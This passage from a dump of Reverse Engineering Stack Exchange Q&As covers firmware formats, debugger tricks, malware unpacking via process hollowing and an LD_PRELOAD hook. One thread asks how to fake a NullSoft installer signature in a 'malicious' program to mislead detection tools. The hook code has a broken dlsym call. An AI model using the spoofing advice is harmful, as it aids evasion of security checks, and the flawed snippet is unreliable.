So, also in the case of a invalid value of e_phnum (invalid ELF file), the maximum value of e_phnum is 65535.

\n\n

Hope this helpful!

\n" }, { "Id": "4552", "CreationDate": "2014-06-06T09:30:42.100", "Body": "

I'm currently researching my home router (D-Link 2760-U) which has a (kind-of) proprietary ISP firmware. What I'm trying to achieve is understanding how the router is persisting it's configuration settings across reboots.

\n\n

mount output:

\n\n
/dev/mtdblock0 on / type squashfs (ro,relatime)\n/proc on /proc type proc (rw,relatime)\ntmpfs on /var type tmpfs (rw,relatime,size=420k)\ntmpfs on /mnt type tmpfs (rw,relatime,size=16k)\nsysfs on /sys type sysfs (rw,relatime)\n
\n\n

I did nvram show and it does contain some wireless configuration such as the encryption in use, wireless modes, pre-shared key but that's about it. Obviously the router has other configurations (such as DNS, PPP, Port forwards etc) that must be stored elsewhere. \nAs it can be observed, all mounted filesystems are volatile and thus configuration cannot be stored in them.

\n\n

Where can the information be saved besides filesystem and NVRAM? How do I go about finding this out?

\n", "Title": "How can I figure where my router stores it's configuration across reboots?", "Tags": "|linux|firmware|embedded|", "Answer": "

I have played with at least one (not a D-Link) Linux-based router that stored its configuration in a bare mtd partition and accessed it using a proprietary binary. It compressed the data using LZMA or something but within that, you could see passwords in clear-text (not good!)

\n\n

D-Link actually have a very good GPL source code system, go to http://tsd.dlink.com.tw/downloads2008list.asp?SourceType=download&OS=GPL and type in 2760 and you can download the entire buildroot and source for that router.

\n\n

Even if they happen to use some non-standard proprietary mechanism for saving configuration, you should be able to get some idea of where it is hidden from examining the GPL sources...

\n" }, { "Id": "4565", "CreationDate": "2014-06-08T17:40:55.190", "Body": "

Note: I'm aware of the technical and legal implications of reverse-enginneering binaries.

\n\n

I have the firmware for a Netgear WGR614v7 router, in the form of a .chk file, coming from Netgear themselves, and I wish to unpack the file. My understanding is that a firmware .chk file is a header before a TRX image, and I've tried to untrx the ile I had sans header, or with header as well. Neither that nor binwalk succeeded. Two useful strings are seen very close to the beginning of the file:

\n\n\n\n

Inspecting the file in a hex editor, I'm unable to find the TRX file signature (I was looking for ASCII HDR0). I also cannot find any sort of compression magic values, except fairly far into the file where they're not likely to signify the beginning of the actual content I'm looking for.

\n\n

Am I looking for the wrong filetypes? Is anything about this structure known that I haven't found yet?

\n\n

Edit: The firmware has been downloaded from Netgear's site. I tried chopping off various lengths but cannot find a reasonably-located compression or TRX header. The characteristic ff ff ff ff of IMG images used as a method of preventing a repetitive boot firmware is also not existent.

\n\n

Edit 2: I did some searching of my own, and found a decompression utility. When I chopped the file such that sqz had been the first characters, that utility seemed to find valid Huffman structures but incur a size mismatch. A result of the decompression yielded 11 bytes, while the program warned me:

\n\n
\n
Warning: Unpacked file should be 7537274 bytes but is 396409921 bytes! at ./unpack.pl line 61, <STDIN> line 3.\n
\n
\n\n

Of course, it could be that many kinds of data that is corrupt might be partially readable as huffman giving me strange results as seen here.

\n", "Title": "Format of .chk firmware package on WGR614v7", "Tags": "|file-format|firmware|", "Answer": "

The file begins:

\n\n
0000000: 4148 3030 4938 e66c 000e aa28 9835 0589  AH00I8.l...(.5..\n0000010: 3004 125a 1b39 65ff 47e4 b95c 0001 0014  0..Z.9e.G..\\....\n0000020: 5531 3248 3036 3454 3030 5f4e 4554 4745  U12H064T00_NETGE\n0000030: 4152 0000                                AR..\n
\n\n

The reason for picking this size will soon become clear.

\n\n

The first four bytes (AH00) are probably file magic. Googling just that string brings up this page, which has a detailed breakdown of a different firmware file with a similar structure.

\n\n

The next four bytes are not described by the linked page. Reading them as a 32-bit big-endian value (BE32), though, you get 0x4938e66c = 1228465772, which is plausibly a recent UNIX timestamp (usually values from around 800,000,000 to 1,500,000,000). Indeed, it decodes to Fri Dec 5 08:29:32 2008 GMT, which is plausibly the build date of the hardware (and I note that the linked article has 0x481ac265 = Fri May 2 07:27:33 2008 GMT, which also seems plausible).

\n\n

The next four bytes read as a BE32 value give 961064. The total filesize is 961116 bytes, so this is likely the payload size, leaving 52 bytes for the header (and thus explaining why I chose to show the first 52 bytes here).

\n\n

The next 32 bytes are the MD5 sum of the payload as indicated by the linked page. I deleted the first 52 bytes and MD5 summed the result:

\n\n
983505893004125a1b3965ff47e4b95c  /tmp/fw.sqz\n
\n\n

which is exactly what the header contains.

\n\n

The next two bytes are unknown.

\n\n

The next two bytes are 0x0014, which is the length of the string that follows (including two padding NULs). While I'm not familiar with Netgear routers, I'm guessing this is a model/revision number for the hardware target.

\n\n

And there you go: that's the .chk file header.

\n\n
char magic[4];\nuint32_t timestamp; // UNIX timestamp\nuint32_t payload_size;\nchar md5sum[32];\nuint16_t unknown; // = 1 on all files seen so far\nuint16_t model_size;\nchar model[model_size];\n
\n\n
\n\n

In the original linked page, the payload was a plain ELF file. Unfortunately, in your firmware, the payload is some other kind of file, with the magic sqz (\"squeeze\"?). It's clearly compressed, but I can't tell what it's compressed with. For now, this will have to be an incomplete answer until someone figures out what the compression format is.

\n" }, { "Id": "4568", "CreationDate": "2014-06-08T20:49:34.820", "Body": "

Anyone know of any tools or scripts that can help in corpus distillation ? I know of Peach Minset, but not other than that. Appreciate if anyone could share.

\n", "Title": "Corpus Distillation", "Tags": "|tools|fuzzing|", "Answer": "

Some time ago I wrote minblox for that exact purpose. It relies on DynamoRIO. Compared to minset which uses pin tool, there isn't much of a difference. Tho I think actual set minimization part works faster than minset.

\n\n

Minblox tool is comprised of two parts.

\n\n\n\n

Though, do bear in mind that I've only tested this for a specific case I needed it, so your mileage might vary.

\n" }, { "Id": "4581", "CreationDate": "2014-06-10T09:36:23.317", "Body": "

I can't seem to figure out if I can and how you load multiple idb files with notes into a debugging session?

\n\n

Is there a method or plugin that allows me to load these idb's? What I am doing now is start the program make a memory snapshot and make notes that way. When I start the new debuggin session I rebase the dlls.

\n\n

This does really not work well ;)

\n\n

note, I currently only have IDA Basic.

\n", "Title": "Loading multiple IDB files for debugging session", "Tags": "|ida|", "Answer": "

IDA can only work with one IDB at a time. You'll need to either work with all modules in one IDB, or use serveral IDBs/IDA instances and detach/attach to the process as necessary.

\n" }, { "Id": "4604", "CreationDate": "2014-06-13T09:05:00.727", "Body": "

I just was playing around with Windbg, debugging some application. \nAt some point I had to manipulate EIP which was pretty easy in Windbg. But then once I switched back to Immunity, I could not figure out how to do the same thing.

\n\n

Is there some way you can change the EIP inside Immunity?

\n", "Title": "Manipulate EIP in Immunity Debugger", "Tags": "|windbg|immunity-debugger|", "Answer": "

Alternatively, you can select an address and press ctrl + * (use the * at the right pad)

\n" }, { "Id": "4607", "CreationDate": "2014-06-13T17:10:27.290", "Body": "

When analyzing malware, I come across packers that inject the actual malware code into a newly spawned process and execute it that way. For that, they create a process in suspended state, inject the code and resume it using ntdll.NtResumeThread on Windows.

\n\n

I would like to attach to the suspended process after the injection is done, to dump the memory and get the unpacked binary. For that, I break at ntdll.NtResumeThread. Using Olly 2, I can attach to the suspended process.

\n\n

My problem is now that this seems to resume the process. That would be okay if it would break at the entry point. But it doesn't. Olly does not break until the process I attached to has terminated. Yes, I can dump the memory then. But only if it was not modified by the malware. Also, I don't want the malware code to run at all during unpacking.

\n\n

So, is there a way to make Olly break (reliably) at the entry point of the new process?

\n\n

Thanks in advance!

\n", "Title": "Ollydbg 2: Breaking after attaching to a suspended process", "Tags": "|ollydbg|", "Answer": "

FYI, the injection method to which you're referring is called dynamic forking or process hollowing.

\n\n

When you attach to the child process with OllyDbg, OllyDbg will create a new thread for itself, but the main thread (the one that would have been resumed with NtResumeThread() from the parent) will still be suspended. Once you've attached with OllyDbg, you can set a breakpoint on the OEP and resume the suspended thread; this will cause OllyDbg to then break at the OEP.

\n" }, { "Id": "4609", "CreationDate": "2014-06-13T19:03:42.253", "Body": "

I have read the assembly line

\n\n
OR EAX, 0xFFFFFFFF\n
\n\n

and in the register EAX the program has stored a string. I have problems to understand how we can make a comparison with a string and a value like that.\nAfter performing that instruction, EAX has the value 0xFFFFFFFF.

\n\n

Can someone tell me which purpose that operation has ? Is it a line which comes frequently in an assembly code ? (for example the line XOR EAX, EAX which is an efficient way to make EAX = 0 ? Is it something like that ?)

\n", "Title": "Purpose of OR EAX,0xFFFFFFFF", "Tags": "|assembly|", "Answer": "

Sorry, I can't post this as a comment but a couple of quick (and non-exhaustive) tests show the following:

\n\n\n\n

gcc's behaviour, in particular, supports Peter Andersson's answer.

\n" }, { "Id": "4618", "CreationDate": "2014-06-16T12:05:49.690", "Body": "

I'm trying to extract the files from the Google Chrome offline installer as a reverse engineering exercise

\n\n

So I tried extracting the data inside the installer PE. I tried pestudio which showed me two large embedded resources, however, pestudio had no option to dump them. Extracting the PE with 7-zip shows a file with the name ~102.

\n\n

However, 7zip cannot make out anything out of the ~102 file. Viewing this file with a hex editor shows that it is a tar archive with around 20 bytes of additional info prepended to it. Removing these 20 bytes does not make it extractable, however.

\n\n

How can I extract the files from the binary?

\n\n

I'm a complete noob in reverse engineering, so please correct my mistakes instead of downvoting my question. I'd also be grateful if someone can tell me of a tool which can extract such data from PE executables (instead of my very questionable use of 7-zip for this purpose which also fails for a large number of executables).

\n", "Title": "Extracting files from google chrome offline installer", "Tags": "|static-analysis|pe|", "Answer": "

I ran the installer through an online EXE inspector which told me the 102 resource contained LZMA compressed data. Stupidly, I closed that window to look up what 'LZMA' is. I forgot to note the URL of this specific tool, and now I cannot find it anymore! Such a shame because this hint was crucial.

\n\n

I then ran it through PEdump.me, which allows one to download it separately. To unpack the LZMA compression, I used Stuffit Expander (for OS X), but you can probably use 7-Zip as well -- you may need to add the file extension .lzma to make it work.

\n\n

This gave me a TAR-like file, containing a few more executables. My local tar was unable to unpack it any further (possibly it's some variant of the standard tar).

\n\n

The TAR file format is a wrapper to concatenate multiple files into one; its headers contain the original file name and its size, amongst other data. TAR does not apply compression to the resulting file, so you only need a good hex editor to manually split it into the separate programs.

\n\n
\n\n
\n

.. my very questionable use of 7-zip for this purpose which also fails for a large number of executables ..

\n
\n\n

Being able to show the PE Sections of a Windows executable is a rather uncommon function for a general compressing/uncompressing program... That said: I have found no fault in 7-zip's handling of PE executables. It splits them up into their sections and does nothing more.

\n\n

You can use a tool such as PE Studio to inspect the resources (are you sure it cannot extract them? It seems such a basic function); but after extracting them, you are on your own. There is no \"standard\" way of compressing or otherwise obfuscating resources; some programs may even contain custom code to extract their own data.

\n\n

Recognizing the format of a resource is then reduced to the more general \"recognize the file format\", which is an extremely broad topic on its own.

\n" }, { "Id": "4623", "CreationDate": "2014-06-16T23:19:11.793", "Body": "

Is it possible to determine if a binary (static or shared and not stripped) is compiled with Linuxthreads or NPTL implementation ?

\n", "Title": "How to determine which thread implementation binary compiled with", "Tags": "|linux|elf|libraries|", "Answer": "

There are many ways, but I'll cite two. Usually, a binary file, if not stripped, contains symbols (function names, variable names, ...). These symbols are usually used to ease debugging and are stored using a certain format, DWARF for example.

\n\n

The first method is to disassemble the binary and look for specific threading libraries related symbols. For example :

\n\n
    objdump -D ./YOUR_PROGRAM | grep -i thread \n
\n\n

The second one is to hijack the threading library function calls using your own library and LD_PRELOAD. The concept is fairly simple, you write a library (.so) in which you implement the functions which you want to check for, let's say pthread_create or pthread_join, and reimplement it this way :

\n\n
    int pthread_create(pthread_t *thread, \n                       const pthread_attr_t *attr,\n                       void *(*start_routine) (void *), \n                       void *arg)\n    {\n          int ret;\n          static void *(*ext_pthread_create)(pthread *, \n                                             const pthread_attr_t *,\n                                             void *,\n                                             void *);\n\n          ext_pthread_create = dlsym(\"RTLD_NEXT\", pthread_create);\n          ret = ext_pthread_create(thread, attr, start_routine, arg);\n\n          printf(\"pthread_create called !\\n\");\n\n          return ret;\n     }\n
\n\n

All you have to do after compiling and testing your library is call yor program this way :

\n\n
    LD_PRELOAD=hooklib.so ./YOUR_PROGRAM PARAMS\n
\n\n

If the function is called, you'll see the printf message on the standard output.

\n" }, { "Id": "4624", "CreationDate": "2014-06-17T07:09:58.757", "Body": "

I know how to reverse-engineer normal Android APKs using tools like apktool and dex2jar, but I don't know how to work with obfuscation.

\n

When I extract everything from APK, I get some Smali files (I tried JD-GUI, but the strings contained random names. Probably obfuscated using ProGuard.), some resource files, and a ".so" files in the /lib directory.

\n\n

I know this largely constitutes learning by myself, but I really don't know what to look or where to look. Some examples would be really helpful. Thanks!

\n", "Title": "How do I reverse-engineer .so files found in Android APKs?", "Tags": "|disassembly|binary-analysis|obfuscation|android|deobfuscation|", "Answer": "

There is already an answer by the creator of frida, but I just wanted to add that, specifically, we can use the convenience tool frida-trace with a .so file, e.g.

\n
frida-trace -Ui 'nameOfYourLib.so!*' -p <PID>\n
\n

to dynamically see what's getting called (entry and exit moments) in that .so file during runtime as you run the app normally (it will filter out to trace only functions within nameOfYourLib.so). This could, for example, be used in conjunction with a static disassembler to find interesting functions to explore deeper.

\n" }, { "Id": "4626", "CreationDate": "2014-06-17T10:30:17.550", "Body": "

Right now I am playing around with a little training application I found on OpenSecurityTraining.

\n\n

So, I analyzed this code and I think I understand this pretty well. The only thing I don't get is the cmp and je at lines 0x004010e3 and 0x004010e7 which seem to be some if conditions. But, I cannot figure out which condition should be met to take the jump instruction.

\n\n

My workaround was to manipulate eip when the cmp line was executed. But, my question is what condition has to be set to take the je instruction ?

\n\n
004010e0 55              push    ebp\n004010e1 8bec            mov     ebp,esp\n004010e3 837d0803        cmp     dword ptr [ebp+8],3\n004010e7 7412            je      mystery!main+0x1b (004010fb)\n004010e9 6834404200      push    offset mystery!__rtc_tzz <PERF> (mystery+0x24034) (00424034)\n004010ee e81c040000      call    mystery!printf (0040150f)\n004010f3 83c404          add     esp,4\n004010f6 83c8ff          or      eax,0FFFFFFFFh\n004010f9 eb0b            jmp     mystery!main+0x26 (00401106)\n004010fb e80affffff      call    mystery!mystery_function+0xffffffff`ffffffea (0040100a)\n00401100 eb02            jmp     mystery!main+0x24 (00401104)\n00401102 eb02            jmp     mystery!main+0x26 (00401106)\n00401104 33c0            xor     eax,eax\n00401106 5d              pop     ebp\n00401107 c3              ret\n
\n", "Title": "Which condition has to be met to execute this if branch", "Tags": "|disassembly|assembly|debuggers|windbg|", "Answer": "

dword ptr [val] is exactly, what it says: A 32bit pointer to value. As to how cmp, je and all the other instructions work, I recommend the reading of the Intel Manual.

\n" }, { "Id": "4633", "CreationDate": "2014-06-18T15:49:11.293", "Body": "

I'm looking for a way to recognize an executable file as a NullSoft installer. I\u00b4m trying to prove that a malicious software is capable of changing the PE signature so we can not trust in some tool tell us a PE is a NullSoft Installer only because it have found the NullSoft signature.

\n\n

Any help will be appreciated, recommended tools, etc ...

\n\n

EDIT

\n\n

After reading the Stolas's answer I decided to edit the question and add more info.

\n\n

I already tried with to use an hex editor on an original NullSoft installer and I searched for the string NullSoft this yielded the following result:

\n\n

\"Result

\n\n

The string was found in a XML:

\n\n
<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\">\n    <assemblyIdentity version=\"1.0.0.0\" processorArchitecture=\"X86\" name=\"Nullsoft.NSIS.exehead\" type=\"win32\"/>\n    <description>\n        Nullsoft Install System v2.46\n    </description>\n    <dependency>\n        <dependentAssembly>\n            <assemblyIdentity type=\"win32\" name=\"Microsoft.Windows.Common-Controls\" version=\"6.0.0.0\" processorArchitecture=\"X86\" publicKeyToken=\"6595b64144ccf1df\" language=\"*\" />\n        </dependentAssembly>\n    </dependency>\n    <trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v3\">\n        <security>\n            <requestedPrivileges>\n                <requestedExecutionLevel level=\"requireAdministrator\" uiAccess=\"false\"/>\n            </requestedPrivileges>\n        </security>\n    </trustInfo>\n    <compatibility xmlns=\"urn:schemas-microsoft-com:compatibility.v1\">\n        <application>\n            <supportedOS Id=\"{35138b9a-5d96-4fbd-8e2d-a2440225f93a}\"/>\n            <supportedOS Id=\"{e2011457-1546-43c5-a5fe-008deee3d3f0}\"/>\n        </application>\n    </compatibility>\n</assembly>\n
\n\n

These seems to be what I want to insert in my \"malicious\" app. So, how can I add that into my app?

\n\n

My app it's just a \"Hello world\" written in Visual C++.

\n\n

I'm aware that I have to write this at the same offset that in the original, but I just don't know how.

\n", "Title": "How to change PE signature?", "Tags": "|malware|binary-analysis|pe|", "Answer": "

For this you'd first need to realize how programs are recognized to be specific types of software.

\n\n

This can be specific imports, strings or binary strings within the code. When you realize how tools make these signatures try to be cunning and put the signature in your 'malicious' application. Check it with your 'signature' tooling and tweak if required.

\n" }, { "Id": "4635", "CreationDate": "2014-06-18T19:06:56.220", "Body": "

I have heard of disassemblers like IDA and debuggers like OllyDbg but honestly, when you give both of them a binary file it gives me the assembly code. I know that the decompiler gives the source code if you provide it a binary. However, I don't know how they differ in terms of mode of operationand I ask myself questions like \"Why can a android/python code be decompiled but a C code be only disassembled?\"

\n\n

Can anyone give a precise difference between these 3 kinds of tools?

\n", "Title": "What's the difference between a disassembler, debugger and decompiler?", "Tags": "|disassembly|decompilation|binary-analysis|debuggers|", "Answer": "

I would like to add the following definition to avoid any doubts:

\n\n
\n

Decompilers are different from disassemblers in one very important aspect. While both generate\n human readable text, decompilers generate much higher level text, which is more concise and much\n easier to read.

\n
\n\n

Excerpted from official hex-rays doc

\n\n

Conclusion, the decompilers alleviate both problems compared to disassemblers: their output is shorter and less repetitive.

\n" }, { "Id": "4641", "CreationDate": "2014-06-19T20:23:29.313", "Body": "

Here's code that performs some arithmetics.

\n\n
int main(void) {\n    int i = 3;\n    i++;\n    i+= 2;\n    return 0;\n}\n
\n\n

I compiled it using 32-bit tcc with the following command

\n\n
tcc -o hello.exe hello.c\n
\n\n

I, then, disassembled it using IDA free edition, and after some time staring at the start of the instructions I realized that the main function that I was looking for is in a subroutine, and going there I see this:

\n\n
sub_401000 proc near\n\nvar_4= dword ptr -4\n\npush    ebp               \nmov     ebp, esp           \nsub     esp, 4            // allocate 4 bytes on the stack for var i\nnop\n\nmov     eax, 3            // i = 3 instructions\nmov     [ebp+var_4], eax  // \n\nmov     eax, [ebp+var_4]  // i++ instructions\nmov     ecx, eax          // \ninc     eax               // \nmov     [ebp+var_4], eax  //\n\nmov     eax, [ebp+var_4]  // i+=2 instructions\nadd     eax, 2            //   \nmov     [ebp+var_4], eax  //  \n\nmov     eax, 0           \njmp     $+5              \nleave\nretn\nsub_401000 endp\n
\n\n

I've added my understanding of what's going on in comments on the right for the body of the method that I am interested in.

\n\n

For example, incrementing the variable would involve moving a value onto a register and then operating on it. I would expect i++ to look something like

\n\n
mov     eax, [ebp+var_4]\ninc     eax             \n
\n\n

But the actual instructions involved an extra move

\n\n
mov     eax, [ebp+var_4]  \nmov     ecx, eax         // <----- ?\ninc     eax               \n
\n\n

In the add instruction, the extra move isn't there. When I modified the code with a decrement operation, I see that extra move as well.

\n\n

Is there some purpose for this move from eax to ecx ?

\n\n

UPDATE:

\n\n

I am still reading about registers, and from what I've read ecx is used as a counter, but from this code it isn't obvious what it's being used for, if anything.

\n", "Title": "Why is the ecx register used during an inc instruction", "Tags": "|assembly|x86|", "Answer": "

The comment of Guntram Blohm is right. The original value of i is stored into ecx for a possible later use.

\n\n

ISO/IEC 9899:TC3 (C99) ---\n6.5.2.4 Postfix increment and decrement operators:

\n\n
\n

The result of the postfix ++ operator is the value of the operand.\n After the result is obtained, the value of the operand is incremented.\n (That is, the value 1 of the appropriate type is added to it.) See\n the discussions of additive operators and compound assignment for\n information on constraints, types, and conversions and the effects of\n operations on pointers. The side effect of updating the stored value\n of the operand shall occur between the previous and the next sequence\n point.

\n
\n\n

The sequence points are described in Annex C of the document.

\n\n

TCC performs only few optimizations, the code is generated in a single pass and every C statement is compiled on its own. It seems that the compiler is almost as simple as possible so it does not store any state during the compilation if it is not necessary.

\n\n

When TCC encountered the sequence point before ++ it did not know about the ++ operation. Performing the side-effect of the ++ operator later after evaluating the ++ operation would mean to store a state information. It seems that the author of TCC selected the simplest approach - to perform the side-effect together with the evaluation of the ++ operator.

\n\n

The original value of the i variable (before incrementing) can possibly be used again in the same expression so it is saved to the ecx register and the result of the postfix increment operation is stored to the variable on the stack immediately (mov [ebp+var_4], eax). It does not matter that the value in ecx is not used later. This is the disadvantage due to the simplicity of TCC. For example you can notice that the code loads the value of i from stack to eax even if the value is in eax already.

\n\n

Example of code which additionally uses the original value of i:

\n\n
j = i++ + i * 3;\n
\n\n

The assembly code:

\n\n
13: 8b 45 fc        mov eax, DWORD PTR [rbp-0x4]    // load i to eax\n16: 48 89 c1        mov ecx, eax                    // store the original value of i for later use\n19: 83 c0 01        add eax, 0x1                    // increment the value (the side effect of ++)\n1c: 89 45 fc        mov DWORD PTR [rbp-0x4], eax    // store it to i - everything between \"=\" and \"+\" is done at this point including the side-effect of i++\n1f: 8b 45 fc        mov eax, DWORD PTR [rbp-0x4]    // load i to eax (Now it is the incremented value.)\n22: ba 03 00 00 00  mov edx, 0x3                    // load value 3 for the multiplication\n27: 0f af c2        imul    eax, edx                // multiply\n2a: 01 c1           add ecx, eax                    // add the original value of i (the result of i++)\n2c: 89 4d f8        mov DWORD PTR [rbp-0x8], ecx    // store the result to j\n
\n\n

At 1f the incremented value of i is being used but it is also possible to use the original value of i there and still be in adherence with C99 because the sequence point after i++ was not encountered yet. In this case the sequence points are right before and after the statement.

\n" }, { "Id": "4642", "CreationDate": "2014-06-19T21:16:22.823", "Body": "

Just started out with x86 assembly and slowly getting the hang of it. IDA produces nice graphs that make it much easier to follow all the jumps and function calls and stuff.

\n\n

I've looked at examples of arithmetics, control flow, loops, and function calls, and feel that I could reasonably take a chunk of instructions and reproduce the same logic in Java or C.

\n\n

Are there tools that will automatically take assembly and convert it to, say, C? I imagine for some people that at some point it becomes more of a chore than an exercise after doing it for years.

\n", "Title": "Automatically convert x86 assembly to C", "Tags": "|disassembly|x86|", "Answer": "

There's also asm2c that works on assembly source code instead of executables or objects files.

\n\n
\n

Swift tool to transform DOS/PMODEW 386 TASM Assembly code to C code

\n
\n" }, { "Id": "4649", "CreationDate": "2014-06-20T14:44:03.667", "Body": "

I have the following line in an assembler code:

\n\n
 XOR EAX, EBX\n
\n\n

So, then I've searched a little bit and found out that XOR represents a \"swap algorithm\". You can read it here: http://en.wikipedia.org/wiki/XOR_swap_algorithm

\n\n

But when I look in register window of ollydbg, then I have the following

\n\n
 EAX = 00000068\n EBX = 0000003B\n
\n\n

Now, after the line the register window says

\n\n
EAX = 000000053\nEBX = 0000003B\n
\n\n

But from that what I have read in wikipedia article I would expect the following

\n\n
EAX = 0000003B\nEBX = 00000053\n
\n\n

At the end, i can say that a normal XOR operation is performed because:

\n\n
0111011   =>EAX=0000003B \n1101000   =>EBX=00000068\n-------\n1010011   =>EAX=00000053\n
\n\n

So my question would be why the swap algorithm is not performed. Or in other words: When can I expect the swap algorithm?

\n", "Title": "Has XOR EAX, EBX another purpose?", "Tags": "|assembly|", "Answer": "

As the first answer states, XOR is a bitewise XOR, not an XOR swap.

\n\n

To do the Xor swap that you referenced from wikipedia it takes 3 instructions :

\n\n
xor eax, ebx\nxor ebx, eax\nxor eax, ebx\n
\n\n

Since you asked about the purpose of XOR I thought I would include some other concepts for you to read up on, so you might have an idea of what to expect from XORs

\n\n

You can use XOR to clear a register:

\n\n
xor eax,eax\n
\n\n

Calculate absolute value:

\n\n
cdq\nxor eax,edx\nsub eax,edx\n
\n\n

XORs can be used for Crypto:\nhttp://en.wikipedia.org/wiki/XOR_swap_algorithm

\n\n

XORs are used in the CRC checksum algorithm:\nhttp://en.wikipedia.org/wiki/Cyclic_redundancy_check

\n\n

XORs can be used to calculate Gray codes:\nhttp://www.morkalork.com/mork/article/74/How_to_understand_and_use_Gray_code.htm#.U6RhN_ldXvI

\n\n

This is just the tip of the iceberg. The instruction can be used in a large number of situations.

\n" }, { "Id": "4664", "CreationDate": "2014-06-21T13:11:37.690", "Body": "

I'm writing a handy reverse tool in C++ with manual assembling/disassembling shell, to automate my work!

\n\n

I need an assembler library.\nIs there any library, embedding in C++?

\n", "Title": "Automated Assembly/Disassemble library", "Tags": "|binary-analysis|dynamic-analysis|", "Answer": "

Oleh Yuschuk released a light-weight open-source assembler library that you can download from http://ollydbg.de/srcdescr.htm

\n
\n

Assemble

\n

Function Assemble(), as expected, converts command from ASCII\nform to binary 32 bit code.

\n
\n

Example:

\n
  // Assemble one of the commands above. First try form with 32-bit immediate.\n  pasm="ADD [DWORD 475AE0],1";\n  printf("%s:\\n",pasm);\n  j=Assemble(pasm,0x400000,&am,0,0,errtext);\n  n=sprintf(s,"%3i  ",j);\n  for (i=0; i<j; i++) n+=sprintf(s+n,"%02X ",am.code[i]);\n  if (j<=0) sprintf(s+n,"  error=\\"%s\\"",errtext);\n  printf("%s\\n",s);\n
\n" }, { "Id": "4668", "CreationDate": "2014-06-22T22:47:57.087", "Body": "

I've noticed that, even after stripping symbols from my executable, class names and their methods are still included at the end of the executable file.

\n\n

For instance:

\n\n
#include <iostream>\n\nusing namespace std;\n\nclass Clingons\n{\npublic:\n    void clingForever()\n    {\n        cout << \"Qapla\" << endl;\n    }\n};\n\nint main(int argc, char *argv[])\n{\n    Clingons cling;\n\n    cling.clingForever();\n\n    return 0;\n}\n
\n\n

Then compile and link with:

\n\n
g++ cling.cpp -o cling\n
\n\n

Now, when I look at the bottom of the resulting \"cling\" file with a hex editor, I can see the \"Clingons\" class name along with it's methods. I can also see this information while debugging..

\n\n

even after I strip them:

\n\n
strip -x cling\n
\n\n

I can still see the same information.

\n\n

So why wasn't this information stripped away when I used the command above? Is there a way to strip (or mangle) this information other than by hand?

\n\n

The used version of GCC is i686-apple-darwin10-llvm-g++-4.2 (GCC) 4.2.1

\n\n

This is just an example case. My real project involves the Qt framework.

\n", "Title": "How to strip more than symbols?", "Tags": "|executable|functions|symbols|", "Answer": "

The toolbox ELFKicker has an utility called sstrip that strip an ELF executable down to the bones.

\n

But, it seems that you are using Mach-O executable format. So, I would recommend to look at the source code of sstrip and build your own stripper.

\n

You can also take a look at the source code of the strip command for Mach-O and get inspiration. And, also, this Python script strip_save_dsym might also give some hints.

\n

Finally, here are a few comparisons between ELF and Mach-O formats:

\n\n" }, { "Id": "4671", "CreationDate": "2014-06-23T03:13:59.103", "Body": "

As a beginner I'm trying to load an unknown format binary file with IDA Pro,but I don't know the Image Base of this file. Are there any methods to get the Image Base. Could you also reference related papers in your answer.

\n", "Title": "Image base of unknown file format?", "Tags": "|ida|firmware|", "Answer": "

I wrote something for Cortex M3 MCUs here:\nhttp://www.reddit.com/r/ReverseEngineering/comments/21kgtc/beginners_project_logitech_g940_firmware/cgeokv3

\n\n

As you didn't write anything about the device your blob is for and how it gets there no conclusion can be made from us.

\n\n

But you really need to know which CPU you have, where the flash memory is at and how vector tables and such work on this specific model to determine something.

\n\n

Some MCUs have a bootloader at the beginning of the flash and the user code is begind it, other MCUs have the bootloader in the upper region of the flash and user code starts at the front.

\n" }, { "Id": "4682", "CreationDate": "2014-06-24T01:49:07.347", "Body": "

On starting notepad.exe with Ollydbg, I see that eax has a value that points at kernel32.BaseThreadInitThunk.

\n\n

notepad.exe does not seem to import kernel32.dll::BaseThreadInitThunk.\nI cannot find that function, by running dependency walker on notepad.exe.

\n\n

How can kernel32.dll::BaseThreadInitThunk function be executed without importing it ?

\n", "Title": "kernel32.BaseThreadInitThunk without IAT", "Tags": "|windows|dll|iat|", "Answer": "

It is just a coincidence. It happens sometimes that the value in a register be the address of some valid api which the application has nothing to do about. For reference see these images.

\n\n

I have loaded OllyDbg2 in OllyDbg2. OllyDbg2 does not import kernel32.dll::BaseThreadInitThunk

\n\n

\"In\nOllydbg in Windows 7

\n\n

\"In\nOllydbg in Windows XP

\n\n

In Windows 7 on entrypoint the value of eax is the address of BaseThreadInitThunk. However on Windows XP the value of eax is 0.

\n" }, { "Id": "4684", "CreationDate": "2014-06-24T14:06:27.840", "Body": "

Spotted an interesting problem when trying to determine which type of structure (since isStruct(getFlags(ea)) returns True) is defined at the given address in the DB. Reading through idc.py didn't help much.

\n\n\n\n

A solid example:

\n\n
# Some Python code\nstrid = idaapi.get_struc_id('_s__RTTIClassHierarchyDescriptor')\nsize = idaapi.get_struc_size(strid)\nidaapi.doStruct(ea, size, strid)\n
\n\n

How, knowing the ea, do I get the strid value ?

\n", "Title": "IDAPython: Get struct id defined at an address", "Tags": "|idapython|", "Answer": "

Updated version of @Willem Hengeveld answer for IDA 7.4 API:

\n
address=0x14001D020\nstruct_id = idaapi.opinfo_t()\nflags = ida_bytes.get_flags(address)\nif ida_bytes.get_opinfo(struct_id, address, 0, flags):\n    struct_name = ida_struct.get_struc_name(struct_id.tid)\n    print (f"tid=0x{struct_id.tid:08x} - {struct_name}")\n
\n" }, { "Id": "4693", "CreationDate": "2014-06-25T01:38:02.203", "Body": "

As a beginner I'm trying to use IDC to clear output window in IDA Pro,but I don't know which function will work.

\n\n

My IDA Pro version is 6.1.

\n", "Title": "How to use IDC to clear output window in IDA Pro?", "Tags": "|ida|", "Answer": "
form = idaapi.find_widget("Output window")\nidaapi.activate_widget(form, True)\nidaapi.process_ui_action("msglist:Clear")\nprint('---------------IDA Python Running at {}---------------------'.format(datetime.datetime.now()))\n
\n" }, { "Id": "4694", "CreationDate": "2014-06-25T04:38:42.633", "Body": "

I am using IDA to find out parameters of a routine in a DLL. I browsed to the routine in question and saw that IDA has automatically done that job for me and put a comment like this:

\n\n
 ; =============== S U B R O U T I N E =======================================\nCODE:0048E5BC\nCODE:0048E5BC ; Attributes: bp-based frame\nCODE:0048E5BC\nCODE:0048E5BC ; int __stdcall Active(int, double, double, double, char, char, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, double, double, char)\n
\n\n

I want to know how much reliable this info is if I want to call this function in C# (using p/invoke)?

